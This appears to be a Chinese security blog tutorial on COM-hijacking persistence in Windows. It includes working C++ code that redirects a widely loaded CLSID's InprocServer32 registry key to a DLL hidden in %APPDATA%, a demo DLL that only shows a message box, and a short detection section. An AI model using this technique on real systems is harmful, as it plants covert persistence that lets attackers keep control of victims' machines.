代码及原理介绍
COM是Component Object Model(组件对象模型)的缩写,COM组件由DLL和EXE形式发布的可执行代码所组成。每个COM组件都有一个CLSID,这个CLSID是注册的时候写进注册表的,可以把这个CLSID理解为这个组件最终可以实例化的子类的一个ID。这样就可以通过查询注册表中的CLSID来找到COM组件所在的dll的名称。所以要想COM劫持,必须精心挑选CLSID,尽量选择应用范围广的CLSID。这里,我们选择的CLSID为:{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7},来实现对CAccPropServicesClass 和 MMDeviceEnumerator的劫持。系统很多正常程序启动时需要调用这两个实例。例如计算器。
Dll存放的位置://%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C4579291692E}
接下来就是修改注册表,在指定路径添加文件,具体代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| #include <iostream> #include <Windows.h> #include <string> using namespace std;
int main(int argc, char* argv[]) { string type=argv[1]; if (argc > 1) { HKEY hKey; DWORD dwDisposition; //%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C45792916//92E} char system1[] = "C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\qianxiao996.dll"; char system2[] = "Apartment"; string defaultPath = "C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}"; string szSaveName = "C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\qianxiao996.dll"; if ("-go" == type) { //string folderPath = defaultPath + "\\testFolder"; string command; command = "mkdir -p " + defaultPath; if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition)) { printf("创建注册表失败!"); return 0; } if (ERROR_SUCCESS != RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)system1, (1 + ::lstrlenA(system1)))) { printf("设置DLL文件失败!"); return 0; } if (ERROR_SUCCESS != RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ, (BYTE*)system2, (1 + ::lstrlenA(system2)))) { printf("设置ThreadingModel失败!"); return 0; } ::MessageBoxA(NULL, "comHijacking OK!", "OK", MB_OK); } if ("-down" == type) { if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition)) { printf("创建注册表失败!"); return 0; } if (ERROR_SUCCESS != RegDeleteValueA(hKey, NULL)) { printf("移除DLL文件失败!"); return 0; } if (ERROR_SUCCESS != RegDeleteValueA(hKey, "ThreadingModel")) { printf("移除ThreadingModel失败!"); return 0; } remove(szSaveName.c_str()); remove(defaultPath.c_str()); ::MessageBoxA(NULL, "Delete comHijacking OK!", "OK", MB_OK); } } //system("pause"); else { printf("Usage:\n comHijacking.exe -go 进行COM劫持\n comHijacking.exe -down 移除COM劫持"); } return 0; }
|
别问我为什么不写在两个函数里,因为我不会。
DLL文件代码(这里的DLL代码就是用的上次的那个DLL文件)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { MessageBoxA(0, "hello qianxiao996", "AppCert", 0); switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
|
运行效果图
运行生成的EXE文件(管理员运行),注意-go是安装劫持,-down是移除劫持.

运行后,会生成以下目录:
1
| C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}
|
然后将自己写好的DLL文件放入当前目录中

会生成以下注册表项

运行计算器,调用qianxiao996.dll 弹出对话框:

移除COM劫持

检查及清除方法
由于COM对象是操作系统和已安装软件的合法部分,因此直接阻止对COM对象的更改可能会对正常的功能产生副作用。相比之下,使用白名单识别潜在的病毒会更有效。
现有COM对象的注册表项可能很少发生更改。当具有已知路径和二进制的条目被替换或更改为异常值以指向新位置中的未知二进制时,它可能是可疑的行为,应该进行调查。同样,如果收集和分析程序DLL加载,任何与COM对象注册表修改相关的异常DLL加载都可能表明已执行COM劫持。
此文章修改于天融信阿尔法实验室 ATT&CK之后门持久化(一)COM组件劫持